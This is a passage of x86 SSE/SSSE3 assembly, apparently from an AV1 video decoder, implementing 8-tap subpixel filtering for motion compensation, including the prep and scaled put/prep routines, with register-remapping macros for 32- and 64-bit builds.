mov tmpm, tmpq
mov stridem, strideq
%endif
%if cpuflag(ssse3)
pshufd m0, m1, q0000
pshufd m1, m1, q1111
%else
punpcklbw m1, m1
psraw m1, 8
pshufd m0, m1, q1010
punpckhqdq m1, m1
%endif
punpcklbw m5, m5
psraw m5, 8
pshufd m2, m5, q0000
pshufd m3, m5, q1111
pshufd m4, m5, q2222
pshufd m5, m5, q3333
mova subpelh0, m0
mova subpelh1, m1
mova subpelv0, m2
mova subpelv1, m3
mova subpelv2, m4
mova subpelv3, m5
lea r5, [strideq*3+3]
sub srcq, r5
mov srcm, srcq
%else
ALLOC_STACK mmsize*5, 16
%define subpelh0 m10
%define subpelh1 m11
%define subpelv0 m12
%define subpelv1 m13
%define subpelv2 m14
%define subpelv3 m15
%define accuv0 m8
%define accuv1 m9
movq m0, [base_reg+mxq*8+subpel_filters-prep%+SUFFIX]
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
movq m1, [base_reg+myq*8+subpel_filters-prep%+SUFFIX]
%if cpuflag(ssse3)
pshufd subpelh0, m0, q0000
pshufd subpelh1, m0, q1111
%else
punpcklbw m0, m0
psraw m0, 8
pshufd subpelh0, m0, q1010
pshufd subpelh1, m0, q3232
mova m7, [base+pw_2]
%endif
punpcklbw m1, m1
psraw m1, 8
pshufd subpelv0, m1, q0000
pshufd subpelv1, m1, q1111
pshufd subpelv2, m1, q2222
pshufd subpelv3, m1, q3333
lea stride3q, [strideq*3]
sub srcq, 3
sub srcq, stride3q
mov r6, srcq
mov r8, tmpq
%endif
lea r5d, [wq-4]
shl r5d, 14
add r5d, hd
.hv_w8_loop0:
%if cpuflag(ssse3)
%if ARCH_X86_64
mova m7, [base+subpel_h_shufA]
mova m8, [base+subpel_h_shufB]
mova m9, [base+subpel_h_shufC]
%define shufA m7
%define shufB m8
%define shufC m9
%else
%define shufA [base+subpel_h_shufA]
%define shufB [base+subpel_h_shufB]
%define shufC [base+subpel_h_shufC]
%endif
%endif
PREP_8TAP_HV m4, srcq+strideq*0, m7, m0
PREP_8TAP_HV m5, srcq+strideq*1, m7, m0
%if ARCH_X86_64
PREP_8TAP_HV m6, srcq+strideq*2, m7, m0
add srcq, stride3q
PREP_8TAP_HV m0, srcq+strideq*0, m7, m9
%else
lea srcq, [srcq+strideq*2]
%if notcpuflag(ssse3)
mova [esp], m4
%endif
PREP_8TAP_HV m6, srcq+strideq*0, m7, m4
PREP_8TAP_HV m0, srcq+strideq*1, m7, m4
lea srcq, [srcq+strideq*2]
%endif
%if cpuflag(ssse3)
mova m7, [base+pw_8192]
%else
mova m7, [base+pw_2]
%if ARCH_X86_32
mova m4, [esp]
%endif
%endif
PMULHRSW_8192 m4, m4, m7
PMULHRSW_8192 m5, m5, m7
PMULHRSW_8192 m6, m6, m7
PMULHRSW_8192 m0, m0, m7
punpcklwd m1, m4, m5 ; 01
punpcklwd m2, m5, m6 ; 12
punpcklwd m3, m6, m0 ; 23
SAVELINE_W8 1, m1
SAVELINE_W8 2, m2
SAVELINE_W8 3, m3
%if cpuflag(ssse3)
mova m7, [base+subpel_h_shufA]
%endif
%if ARCH_X86_64
PREP_8TAP_HV m4, srcq+strideq*1, m8, m9
PREP_8TAP_HV m5, srcq+strideq*2, m8, m9
add srcq, stride3q
PREP_8TAP_HV m6, srcq+strideq*0, m8, m9
%else
%if notcpuflag(ssse3)
mova [esp+0x30], m0
%endif
PREP_8TAP_HV m4, srcq+strideq*0, m7, m0
PREP_8TAP_HV m5, srcq+strideq*1, m7, m0
lea srcq, [srcq+strideq*2]
PREP_8TAP_HV m6, srcq+strideq*0, m7, m0
%endif
%if cpuflag(ssse3)
mova m7, [base+pw_8192]
%elif ARCH_X86_32
mova m0, [esp+0x30]
mova m7, [base+pw_2]
%endif
PMULHRSW_8192 m1, m4, m7
PMULHRSW_8192 m2, m5, m7
PMULHRSW_8192 m3, m6, m7
punpcklwd m4, m0, m1 ; 34
punpcklwd m5, m1, m2 ; 45
punpcklwd m6, m2, m3 ; 56
SAVELINE_W8 6, m3
RESTORELINE_W8 1, m1
RESTORELINE_W8 2, m2
RESTORELINE_W8 3, m3
.hv_w8_loop:
SAVELINE_W8 1, m3
SAVELINE_W8 2, m4
SAVELINE_W8 3, m5
SAVELINE_W8 4, m6
%if ARCH_X86_32
pmaddwd m0, m1, subpelv0 ; a0
pmaddwd m7, m2, subpelv0 ; b0
pmaddwd m3, subpelv1 ; a1
pmaddwd m4, subpelv1 ; b1
paddd m0, m3
paddd m7, m4
pmaddwd m5, subpelv2 ; a2
pmaddwd m6, subpelv2 ; b2
paddd m0, m5
paddd m7, m6
mova m5, [base+pd_32]
paddd m0, m5
paddd m7, m5
mova accuv0, m0
mova accuv1, m7
%else
pmaddwd accuv0, m1, subpelv0 ; a0
pmaddwd accuv1, m2, subpelv0 ; b0
pmaddwd m3, subpelv1 ; a1
pmaddwd m4, subpelv1 ; b1
paddd accuv0, m3
paddd accuv1, m4
pmaddwd m5, subpelv2 ; a2
pmaddwd m6, subpelv2 ; b2
paddd accuv0, m5
paddd accuv1, m6
mova m7, [base+pd_32]
paddd accuv0, m7
paddd accuv1, m7
%if cpuflag(ssse3)
mova m7, [base+subpel_h_shufB]
mova m6, [base+subpel_h_shufC]
mova m5, [base+subpel_h_shufA]
%define shufA m5
%define shufB m7
%define shufC m6
%endif
%endif
PREP_8TAP_HV m0, srcq+strideq*1, m5, m6
lea srcq, [srcq+strideq*2]
PREP_8TAP_HV m4, srcq+strideq*0, m5, m6
%if cpuflag(ssse3)
mova m5, [base+pw_8192]
%else
mova m5, [base+pw_2]
%endif
PMULHRSW_8192 m0, m0, m5
PMULHRSW_8192 m4, m4, m5
RESTORELINE_W8 6, m6
punpcklwd m5, m6, m0 ; 67
punpcklwd m6, m0, m4 ; 78
pmaddwd m1, m5, subpelv3 ; a3
paddd m2, m1, accuv0
pmaddwd m1, m6, subpelv3 ; b3
paddd m1, m1, accuv1
psrad m2, 6
psrad m1, 6
packssdw m2, m1
movq [tmpq+wq*0], m2
movhps [tmpq+wq*2], m2
lea tmpq, [tmpq+wq*4]
sub hd, 2
jle .hv_w8_outer
SAVELINE_W8 6, m4
RESTORELINE_W8 1, m1
RESTORELINE_W8 2, m2
RESTORELINE_W8 3, m3
RESTORELINE_W8 4, m4
jmp .hv_w8_loop
.hv_w8_outer:
%if ARCH_X86_32
mov srcq, srcm
mov tmpq, tmpm
movzx hd, r5w
add srcq, 4
add tmpq, 8
mov srcm, srcq
mov tmpm, tmpq
%else
add r6, 4
add r8, 8
movzx hd, r5b
mov srcq, r6
mov tmpq, r8
%endif
sub r5d, 1<<16
jg .hv_w8_loop0
RET
%endmacro
%macro movifprep 2
%if isprep
mov %1, %2
%endif
%endmacro
%macro SAVE_REG 1
%xdefine r%1_save r%1
%xdefine r%1q_save r%1q
%xdefine r%1d_save r%1d
%if ARCH_X86_32
%define r%1m_save [rstk+stack_offset+(%1+1)*4]
%endif
%endmacro
%macro LOAD_REG 1
%xdefine r%1 r%1_save
%xdefine r%1q r%1q_save
%xdefine r%1d r%1d_save
%if ARCH_X86_32
%define r%1m r%1m_save
%endif
%undef r%1d_save
%undef r%1q_save
%undef r%1_save
%endmacro
%macro REMAP_REG 2-3
%xdefine r%1 r%2
%xdefine r%1q r%2q
%xdefine r%1d r%2d
%if ARCH_X86_32
%if %3 == 0
%xdefine r%1m r%2m
%else
%define r%1m [rstk+stack_offset+(%1+1)*4]
%endif
%endif
%endmacro
%macro MCT_8TAP_SCALED_REMAP_REGS_TO_PREV 0
%if isprep
%if ARCH_X86_64
SAVE_REG 14
%assign %%i 14
%rep 14
%assign %%j %%i-1
REMAP_REG %%i, %%j
%assign %%i %%i-1
%endrep
%else
SAVE_REG 5
%assign %%i 5
%rep 5
%assign %%j %%i-1
REMAP_REG %%i, %%j, 0
%assign %%i %%i-1
%endrep
%endif
%endif
%endmacro
%macro MCT_8TAP_SCALED_REMAP_REGS_TO_DEFAULT 0
%if isprep
%assign %%i 1
%if ARCH_X86_64
%rep 13
%assign %%j %%i+1
REMAP_REG %%i, %%j
%assign %%i %%i+1
%endrep
LOAD_REG 14
%else
%rep 4
%assign %%j %%i+1
REMAP_REG %%i, %%j, 1
%assign %%i %%i+1
%endrep
LOAD_REG 5
%endif
%endif
%endmacro
%macro MC_8TAP_SCALED_RET 0-1 1 ; leave_mapping_unchanged
MCT_8TAP_SCALED_REMAP_REGS_TO_DEFAULT
RET
%if %1
MCT_8TAP_SCALED_REMAP_REGS_TO_PREV
%endif
%endmacro
%if ARCH_X86_64
%macro MC_8TAP_SCALED_H 12 ; dst[0-1], tmp[0-5], weights[0-3]
SWAP m%2, m%5
movq m%1, [srcq+ r4]
movq m%2, [srcq+ r6]
movhps m%1, [srcq+ r7]
movhps m%2, [srcq+ r9]
movq m%3, [srcq+r10]
movq m%4, [srcq+r11]
movhps m%3, [srcq+r13]
movhps m%4, [srcq+ rX]
add srcq, ssq
movq m%5, [srcq+ r4]
movq m%6, [srcq+ r6]
movhps m%5, [srcq+ r7]
movhps m%6, [srcq+ r9]
movq m%7, [srcq+r10]
movq m%8, [srcq+r11]
movhps m%7, [srcq+r13]
movhps m%8, [srcq+ rX]
add srcq, ssq
pmaddubsw m%1, m%9
pmaddubsw m%5, m%9
pmaddubsw m%2, m%10
pmaddubsw m%6, m%10
pmaddubsw m%3, m%11
pmaddubsw m%7, m%11
pmaddubsw m%4, m%12
pmaddubsw m%8, m%12
phaddw m%1, m%2
phaddw m%5, m%6
phaddw m%3, m%4
phaddw m%7, m%8
phaddw m%1, m%3
phaddw m%5, m%7
pmulhrsw m%1, m12
pmulhrsw m%5, m12
SWAP m%2, m%5
%endmacro
%else
%macro MC_8TAP_SCALED_H 2-3 1 ; weights_mem_start, h_mem_start, load_fh_offsets
%if %3 == 1
mov r0, [esp+ 0]
mov rX, [esp+ 8]
mov r4, [esp+ 4]
mov r5, [esp+12]
%endif
movq m0, [srcq+r0]
movq m1, [srcq+rX]
movhps m0, [srcq+r4]
movhps m1, [srcq+r5]
add srcq, ssq
movq m4, [srcq+r0]
movq m5, [srcq+rX]
movhps m4, [srcq+r4]
movhps m5, [srcq+r5]
mov r0, [esp+16]
mov rX, [esp+24]
mov r4, [esp+20]
mov r5, [esp+28]
sub srcq, ssq
movq m2, [srcq+r0]
movq m3, [srcq+rX]
movhps m2, [srcq+r4]
movhps m3, [srcq+r5]
add srcq, ssq
movq m6, [srcq+r0]
movq m7, [srcq+rX]
movhps m6, [srcq+r4]
movhps m7, [srcq+r5]
add srcq, ssq
pmaddubsw m0, [esp+%1+ 0]
pmaddubsw m4, [esp+%1+ 0]
pmaddubsw m1, [esp+%1+16]
pmaddubsw m5, [esp+%1+16]
pmaddubsw m2, [esp+%1+32]
pmaddubsw m6, [esp+%1+32]
pmaddubsw m3, [esp+%1+48]
pmaddubsw m7, [esp+%1+48]
phaddw m0, m1
phaddw m4, m5
phaddw m2, m3
phaddw m6, m7
phaddw m0, m2
phaddw m4, m6
pmulhrsw m0, m12
pmulhrsw m4, m12
%if %2 != 0
mova [esp+%2+ 0], m0
mova [esp+%2+16], m4
%endif
%endmacro
%endif
%macro MC_8TAP_SCALED 1
%ifidn %1, put
%assign isprep 0
%if ARCH_X86_64
%if required_stack_alignment <= STACK_ALIGNMENT
cglobal put_8tap_scaled_8bpc, 2, 15, 16, 0x180, dst, ds, src, ss, w, h, mx, my, dx, dy
%else
cglobal put_8tap_scaled_8bpc, 2, 14, 16, 0x180, dst, ds, src, ss, w, h, mx, my, dx, dy
%endif
%else ; ARCH_X86_32
%if required_stack_alignment <= STACK_ALIGNMENT
cglobal put_8tap_scaled_8bpc, 0, 7, 8, 0x200, dst, ds, src, ss, w, h, mx, my, dx, dy
%else
cglobal put_8tap_scaled_8bpc, 0, 7, 8, -0x200-0x20, dst, ds, src, ss, w, h, mx, my, dx, dy
%endif
%endif
%xdefine base_reg r12
%define rndshift 10
%else ; prep
%assign isprep 1
%if ARCH_X86_64
%if required_stack_alignment <= STACK_ALIGNMENT
cglobal prep_8tap_scaled_8bpc, 2, 15, 16, 0x180, tmp, src, ss, w, h, mx, my, dx, dy
%xdefine tmp_stridem r14q
%else
cglobal prep_8tap_scaled_8bpc, 2, 14, 16, 0x180, tmp, src, ss, w, h, mx, my, dx, dy
%define tmp_stridem qword [rsp+0x138]
%endif
%xdefine base_reg r11
%else ; ARCH_X86_32
%if required_stack_alignment <= STACK_ALIGNMENT
cglobal prep_8tap_scaled_8bpc, 0, 7, 8, 0x200, tmp, src, ss, w, h, mx, my, dx, dy
%else
cglobal prep_8tap_scaled_8bpc, 0, 6, 8, 0x200, tmp, src, ss, w, h, mx, my, dx, dy
%endif
%define tmp_stridem dword [esp+0x138]
%endif
%define rndshift 6
%endif
%if ARCH_X86_32
mov [esp+0x1f0], t0d
mov [esp+0x1f4], t1d
%if !isprep && required_stack_alignment > STACK_ALIGNMENT
mov dstd, dstm
mov dsd, dsm
mov srcd, srcm
mov ssd, ssm
mov hd, hm
mov r4, mxm
%define r0m [esp+0x200]
%define dsm [esp+0x204]
%define dsmp dsm
%define r1m dsm
%define r2m [esp+0x208]
%define ssm [esp+0x20c]
%define r3m ssm
%define hm [esp+0x210]
%define mxm [esp+0x214]
mov r0m, dstd
mov dsm, dsd
mov r2m, srcd
mov ssm, ssd
mov hm, hd
mov r0, mym
mov r1, dxm
mov r2, dym
%define mym [esp+0x218]
%define dxm [esp+0x09c]
%define dym [esp+0x21c]
mov mxm, r4
mov mym, r0
mov dxm, r1
mov dym, r2
tzcnt wd, wm
%endif
%if isprep && required_stack_alignment > STACK_ALIGNMENT
%xdefine base_reg r5
%else
%xdefine base_reg r6
%endif
mov ssd, ssm
%endif
LEA base_reg, %1_8tap_scaled_8bpc_ssse3
%xdefine base base_reg-%1_8tap_scaled_8bpc_ssse3
%if ARCH_X86_64 || isprep || required_stack_alignment <= STACK_ALIGNMENT
tzcnt wd, wm
%endif
%if ARCH_X86_32
%define m8 m0
%define m9 m1
%define m14 m4
%define m15 m3
%endif
movd m8, dxm
movd m14, mxm
pshufd m8, m8, q0000
pshufd m14, m14, q0000
%if isprep && UNIX64
mov r5d, t0d
DECLARE_REG_TMP 5, 7
%endif
%if ARCH_X86_64
mov dyd, dym
%endif
%ifidn %1, put
%if WIN64
mov r8d, hm
DEFINE_ARGS dst, ds, src, ss, w, _, _, my, h, dy, ss3
%define hm r5m
%define dxm r8m
%elif ARCH_X86_64
DEFINE_ARGS dst, ds, src, ss, w, h, _, my, dx, dy, ss3
%define hm r6m
%endif
%if ARCH_X86_64
%if required_stack_alignment > STACK_ALIGNMENT
%define dsm [rsp+0x138]
%define rX r1
%define rXd r1d
%else
%define dsm dsq
%define rX r14
%define rXd r14d
%endif
%else
%define rX r1
%endif
%else ; prep
%if WIN64
mov r7d, hm
DEFINE_ARGS tmp, src, ss, w, _, _, my, h, dy, ss3
%define hm r4m
%define dxm r7m
%elif ARCH_X86_64
DEFINE_ARGS tmp, src, ss, w, h, _, my, dx, dy, ss3
%define hm [rsp+0x94]
%endif
MCT_8TAP_SCALED_REMAP_REGS_TO_PREV
%if ARCH_X86_64
%define rX r14
%define rXd r14d
%else
%define rX r3
%endif
%endif
%if ARCH_X86_64
mova m10, [base+pd_0x3ff]
mova m12, [base+pw_8192]
%ifidn %1, put
mova m13, [base+pd_512]
%else
mova m13, [base+pd_32]
%endif
%else
%define m10 [base+pd_0x3ff]
%define m12 [base+pw_8192]
%ifidn %1, put
%define m13 [base+pd_512]
%else
%define m13 [base+pd_32]
%endif
%endif
pxor m9, m9
%if ARCH_X86_64
lea ss3q, [ssq*3]
movzx r7d, t1b
shr t1d, 16
cmp hd, 6
cmovs t1d, r7d
sub srcq, ss3q
%else
MCT_8TAP_SCALED_REMAP_REGS_TO_DEFAULT
mov r1, [esp+0x1f4]
lea r0, [ssq*3]
movzx r2, r1b
shr r1, 16
cmp dword hm, 6
cmovs r1, r2
mov [esp+0x1f4], r1
mov r1, r1m
mov r2, r2m
sub srcq, r0
MCT_8TAP_SCALED_REMAP_REGS_TO_PREV
%define ss3q r0
%define myd r4
%define dyd dword dym
%define hd dword hm
%endif
cmp dyd, 1024
je .dy1
cmp dyd, 2048
je .dy2
movzx wd, word [base+%1_8tap_scaled_ssse3_table+wq*2]
add wq, base_reg
jmp wq
%ifidn %1, put
.w2:
%if ARCH_X86_64
mov myd, mym
movzx t0d, t0b
dec srcq
movd m15, t0d
%else
movzx r4, byte [esp+0x1f0]
dec srcq
movd m15, r4
%endif
punpckldq m9, m8
SWAP m8, m9
paddd m14, m8 ; mx+dx*[0-1]
%if ARCH_X86_64
mova m11, [base+pd_0x4000]
%else
%define m11 [base+pd_0x4000]
%endif
pshufd m15, m15, q0000
pand m8, m14, m10
psrld m8, 6
paddd m15, m8
movd r4d, m15
psrldq m15, 4
%if ARCH_X86_64
movd r6d, m15
%else
movd r3d, m15
%endif
mova m5, [base+bdct_lb_dw]
mova m6, [base+subpel_s_shuf2]
movd m15, [base+subpel_filters+r4*8+2]
%if ARCH_X86_64
movd m7, [base+subpel_filters+r6*8+2]
%else
movd m7, [base+subpel_filters+r3*8+2]
%endif
pxor m9, m9
pcmpeqd m8, m9
psrld m14, 10
%if ARCH_X86_32
mov r3, r3m
pshufb m14, m5
paddb m14, m6
mova [rsp+0x180], m14
SWAP m5, m0
SWAP m6, m3
%define m8 m5
%define m15 m6
%endif
movq m0, [srcq+ssq*0]
movq m2, [srcq+ssq*2]
movhps m0, [srcq+ssq*1]
movhps m2, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
%if ARCH_X86_64
pshufb m14, m5
paddb m14, m6
%endif
movq m1, [srcq+ssq*0]
movq m3, [srcq+ssq*2]
movhps m1, [srcq+ssq*1]
movhps m3, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
punpckldq m15, m7
punpcklqdq m15, m15
%if ARCH_X86_64
pand m11, m8
pandn m8, m15
SWAP m15, m8
por m15, m11
%else
pand m7, m8, m11
pandn m8, m15
%define m8 m6
%define m15 m5
por m15, m7
mova [rsp+0x190], m15
%endif
pshufb m0, m14
pshufb m2, m14
pshufb m1, m14
pshufb m3, m14
pmaddubsw m0, m15
pmaddubsw m2, m15
pmaddubsw m1, m15
pmaddubsw m3, m15
phaddw m0, m2
phaddw m1, m3
pmulhrsw m0, m12 ; 0 1 2 3
pmulhrsw m1, m12 ; 4 5 6 7
palignr m2, m1, m0, 4 ; 1 2 3 4
punpcklwd m3, m0, m2 ; 01 12
punpckhwd m0, m2 ; 23 34
pshufd m5, m1, q0321 ; 5 6 7 _
punpcklwd m2, m1, m5 ; 45 56
punpckhwd m4, m1, m5 ; 67 __
%if ARCH_X86_32
mov myd, mym
mov r0, r0m
mova [rsp+0x1a0], m3
mova [rsp+0x1b0], m0
mova [rsp+0x1c0], m2
mova [rsp+0x1d0], m4
%endif
.w2_loop:
and myd, 0x3ff
%if ARCH_X86_64
mov r6d, 64 << 24
mov r4d, myd
shr r4d, 6
lea r4d, [t1+r4]
cmovnz r6q, [base+subpel_filters+r4*8]
movq m11, r6q
punpcklbw m11, m11
psraw m11, 8
pshufd m8, m11, q0000
pshufd m9, m11, q1111
pshufd m10, m11, q2222
pshufd m11, m11, q3333
pmaddwd m5, m3, m8
pmaddwd m6, m0, m9
pmaddwd m7, m2, m10
pmaddwd m8, m4, m11
paddd m5, m6
paddd m7, m8
%else
mov mym, myd
mov r1, [esp+0x1f4]
xor r3, r3
shr r4, 6
lea r1, [r1+r4]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r1*8+0]
cmovnz r3, [base+subpel_filters+r1*8+4]
movd m7, r4
movd m6, r3
punpckldq m7, m6
punpcklbw m7, m7
psraw m7, 8
pshufd m5, m7, q0000
pshufd m6, m7, q1111
pmaddwd m3, m5
pmaddwd m0, m6
pshufd m5, m7, q2222
pshufd m7, m7, q3333
pmaddwd m2, m5
pmaddwd m4, m7
paddd m3, m0
paddd m2, m4
SWAP m5, m3
SWAP m7, m2
%endif
paddd m5, m13
paddd m5, m7
psrad m5, 10
packssdw m5, m5
packuswb m5, m5
%if ARCH_X86_64
pextrw r6d, m5, 0
mov [dstq], r6w
add dstq, dsq
dec hd
jz .ret
add myd, dyd
%else
pextrw r3d, m5, 0
mov [dstq], r3w
add dstq, dsm
dec hd
jz .ret
mov myd, mym
add myd, dym
%endif
test myd, ~0x3ff
%if ARCH_X86_32
SWAP m3, m5
SWAP m2, m7
mova m3, [rsp+0x1a0]
mova m0, [rsp+0x1b0]
mova m2, [rsp+0x1c0]
mova m4, [rsp+0x1d0]
%define m14 [esp+0x180]
%define m15 [esp+0x190]
%endif
jz .w2_loop
%if ARCH_X86_32
mov r3, r3m
%endif
movq m5, [srcq]
test myd, 0x400
jz .w2_skip_line
add srcq, ssq
shufps m3, m0, q1032 ; 01 12
shufps m0, m2, q1032 ; 23 34
shufps m2, m4, q1032 ; 45 56
pshufb m5, m14
pmaddubsw m5, m15
phaddw m5, m5
pmulhrsw m5, m12
palignr m4, m5, m1, 12
punpcklqdq m1, m4, m4 ; 6 7 6 7
punpcklwd m4, m1, m5 ; 67 __
%if ARCH_X86_32
mova [rsp+0x1a0], m3
mova [rsp+0x1b0], m0
mova [rsp+0x1c0], m2
mova [rsp+0x1d0], m4
%endif
jmp .w2_loop
.w2_skip_line:
movhps m5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova m3, m0 ; 01 12
mova m0, m2 ; 23 34
pshufb m5, m14
pmaddubsw m5, m15
phaddw m5, m5
pmulhrsw m5, m12 ; 6 7 6 7
palignr m4, m5, m1, 8 ; 4 5 6 7
pshufd m5, m4, q0321 ; 5 6 7 _
mova m1, m4
punpcklwd m2, m4, m5 ; 45 56
punpckhwd m4, m5 ; 67 __
%if ARCH_X86_32
mova [rsp+0x1a0], m3
mova [rsp+0x1b0], m0
mova [rsp+0x1c0], m2
mova [rsp+0x1d0], m4
%endif
jmp .w2_loop
%endif
INIT_XMM ssse3
.w4:
%if ARCH_X86_64
mov myd, mym
movzx t0d, t0b
dec srcq
movd m15, t0d
%else
%define m8 m0
%xdefine m14 m4
%define m15 m3
movzx r4, byte [esp+0x1f0]
dec srcq
movd m15, r4
%endif
pmaddwd m8, [base+rescale_mul]
%if ARCH_X86_64
mova m11, [base+pd_0x4000]
%else
%define m11 [base+pd_0x4000]
%endif
pshufd m15, m15, q0000
paddd m14, m8 ; mx+dx*[0-3]
pand m0, m14, m10
psrld m0, 6
paddd m15, m0
psrldq m7, m15, 8
%if ARCH_X86_64
movd r4d, m15
movd r11d, m7
psrldq m15, 4
psrldq m7, 4
movd r6d, m15
movd r13d, m7
movd m15, [base+subpel_filters+ r4*8+2]
movd m2, [base+subpel_filters+r11*8+2]
movd m3, [base+subpel_filters+ r6*8+2]
movd m4, [base+subpel_filters+r13*8+2]
%else
movd r0, m15
movd rX, m7
psrldq m15, 4
psrldq m7, 4
movd r4, m15
movd r5, m7
movd m1, [base+subpel_filters+r0*8+2]
movd m2, [base+subpel_filters+rX*8+2]
movd m3, [base+subpel_filters+r4*8+2]
movd m7, [base+subpel_filters+r5*8+2]
movifprep r3, r3m
SWAP m4, m7
%define m15 m1
%endif
mova m5, [base+bdct_lb_dw]
movq m6, [base+subpel_s_shuf2]
psrld m14, 10
punpckldq m15, m3
punpckldq m2, m4
punpcklqdq m15, m2
punpcklqdq m6, m6
pshufb m14, m5
paddb m14, m6
%if ARCH_X86_64
pcmpeqd m0, m9
pand m11, m0
%else
mova [esp+0x180], m14
SWAP m7, m4
pxor m3, m3
pcmpeqd m0, m3
pand m2, m11, m0
%define m11 m2
%endif
pandn m0, m15
%if ARCH_X86_64
SWAP m15, m0
%else
%define m15 m0
%endif
por m15, m11
%if ARCH_X86_64
movu m7, [srcq+ssq*0]
movu m9, [srcq+ssq*1]
movu m8, [srcq+ssq*2]
movu m10, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
movu m2, [srcq+ssq*0]
movu m4, [srcq+ssq*1]
movu m3, [srcq+ssq*2]
movu m5, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
pshufb m7, m14
pshufb m9, m14
pshufb m8, m14
pshufb m10, m14
pshufb m2, m14
pshufb m4, m14
pshufb m3, m14
pshufb m5, m14
pmaddubsw m7, m15
pmaddubsw m9, m15
pmaddubsw m8, m15
pmaddubsw m10, m15
pmaddubsw m2, m15
pmaddubsw m4, m15
pmaddubsw m3, m15
pmaddubsw m5, m15
phaddw m7, m9
phaddw m8, m10
phaddw m9, m2, m4
phaddw m3, m5
pmulhrsw m7, m12 ; 0 1
pmulhrsw m8, m12 ; 2 3
pmulhrsw m9, m12 ; 4 5
pmulhrsw m3, m12 ; 6 7
shufps m4, m7, m8, q1032 ; 1 2
shufps m5, m8, m9, q1032 ; 3 4
shufps m6, m9, m3, q1032 ; 5 6
psrldq m11, m3, 8 ; 7 _
punpcklwd m0, m7, m4 ; 01
punpckhwd m7, m4 ; 12
punpcklwd m1, m8, m5 ; 23
punpckhwd m8, m5 ; 34
punpcklwd m2, m9, m6 ; 45
punpckhwd m9, m6 ; 56
punpcklwd m3, m11 ; 67
mova [rsp+0x00], m7
mova [rsp+0x10], m8
mova [rsp+0x20], m9
%else
mova [esp+0x190], m15
lea ss3q, [ssq*3]
movu m2, [srcq+ssq*0]
movu m3, [srcq+ssq*1]
movu m7, [srcq+ssq*2]
movu m6, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
pshufb m2, m14
pshufb m3, m14
pshufb m7, m14
pshufb m6, m14
pmaddubsw m2, m15
pmaddubsw m3, m15
pmaddubsw m7, m15
pmaddubsw m6, m15
phaddw m2, m3
phaddw m7, m6
movu m1, [srcq+ssq*0]
movu m5, [srcq+ssq*1]
movu m3, [srcq+ssq*2]
movu m6, [srcq+ss3q ]
lea srcq, [srcq+ssq*4]
pshufb m1, m14
pshufb m5, m14
pshufb m3, m14
pshufb m6, m14
pmaddubsw m1, m15
pmaddubsw m5, m15
pmaddubsw m3, m15
pmaddubsw m6, m15
phaddw m1, m5
phaddw m3, m6
pmulhrsw m2, m12
pmulhrsw m7, m12
pmulhrsw m1, m12
pmulhrsw m3, m12
shufps m4, m2, m7, q1032 ; 1 2
shufps m5, m7, m1, q1032 ; 3 4
shufps m6, m1, m3, q1032 ; 5 6
psrldq m0, m3, 8 ; 7 _
mova [esp+0x1a0], m0
%define m11 [esp+0x1a0]
punpcklwd m0, m2, m4 ; 01
punpckhwd m2, m4 ; 12
punpcklwd m4, m7, m5 ; 23
punpckhwd m7, m5 ; 34
punpcklwd m5, m1, m6 ; 45
punpckhwd m1, m6 ; 56
punpcklwd m3, [esp+0x1a0] ; 67
mov myd, mym
mov r0, r0m
mova [esp+0x1b0], m0 ; 01
mova [esp+0x1c0], m4 ; 23
mova [esp+0x1d0], m5 ; 45
mova [esp+0x1e0], m3 ; 67
mova [rsp+0x00], m2 ; 12
mova [rsp+0x10], m7 ; 34
mova [rsp+0x20], m1 ; 56
SWAP m1, m4
SWAP m2, m5
%endif
.w4_loop:
and myd, 0x3ff
%if ARCH_X86_64
mov r6d, 64 << 24
mov r4d, myd
shr r4d, 6
lea r4d, [t1+r4]
cmovnz r6q, [base+subpel_filters+r4*8]
movq m10, r6q
punpcklbw m10, m10
psraw m10, 8
pshufd m7, m10, q0000
pshufd m8, m10, q1111
pshufd m9, m10, q2222
pshufd m10, m10, q3333
pmaddwd m4, m0, m7
pmaddwd m5, m1, m8
pmaddwd m6, m2, m9
pmaddwd m7, m3, m10
paddd m4, m5
paddd m6, m7
paddd m4, m13
paddd m4, m6
%else
mov mym, myd
mov r5, [esp+0x1f4]
xor r3, r3
shr r4, 6
lea r5, [r5+r4]
mov r4, 64 << 24
cmovnz r4, [base+subpel_filters+r5*8+0]
cmovnz r3, [base+subpel_filters+r5*8+4]
movd m7, r4
movd m6, r3
punpckldq m7, m6
punpcklbw m7, m7
psraw m7, 8
pshufd m4, m7, q0000
pshufd m5, m7, q1111
pshufd m6, m7, q2222
pshufd m7, m7, q3333
pmaddwd m0, m4
pmaddwd m1, m5
pmaddwd m2, m6
pmaddwd m3, m7
paddd m0, m1
paddd m2, m3
paddd m0, m13
paddd m0, m2
SWAP m4, m0
%endif
psrad m4, rndshift
packssdw m4, m4
%ifidn %1, put
packuswb m4, m4
movd [dstq], m4
add dstq, dsmp
%else
movq [tmpq], m4
add tmpq, 8
%endif
dec hd
jz .ret
%if ARCH_X86_64
add myd, dyd
test myd, ~0x3ff
jz .w4_loop
%else
SWAP m0, m4
mov myd, mym
mov r3, r3m
add myd, dym
test myd, ~0x3ff
jnz .w4_next_line
mova m0, [esp+0x1b0]
mova m1, [esp+0x1c0]
mova m2, [esp+0x1d0]
mova m3, [esp+0x1e0]
jmp .w4_loop
.w4_next_line:
%define m14 [esp+0x180]
%define m15 [esp+0x190]
%endif
movu m4, [srcq]
test myd, 0x400
jz .w4_skip_line
%if ARCH_X86_64
mova m0, [rsp+0x00]
mova [rsp+0x00], m1
mova m1, [rsp+0x10]
mova [rsp+0x10], m2
mova m2, [rsp+0x20]
mova [rsp+0x20], m3
%else
mova m5, [esp+0x1c0]
mova m0, [rsp+0x000]
mova [rsp+0x00], m5
mova [esp+0x1b0], m0
mova m6, [esp+0x1d0]
mova m1, [rsp+0x010]
mova [rsp+0x10], m6
mova [esp+0x1c0], m1
mova m7, [esp+0x1e0]
mova m2, [rsp+0x020]
mova [rsp+0x20], m7
mova [esp+0x1d0], m2
%endif
pshufb m4, m14
pmaddubsw m4, m15
phaddw m4, m4
pmulhrsw m4, m12
punpcklwd m3, m11, m4
%if ARCH_X86_32
mova [esp+0x1e0], m3
%endif
mova m11, m4
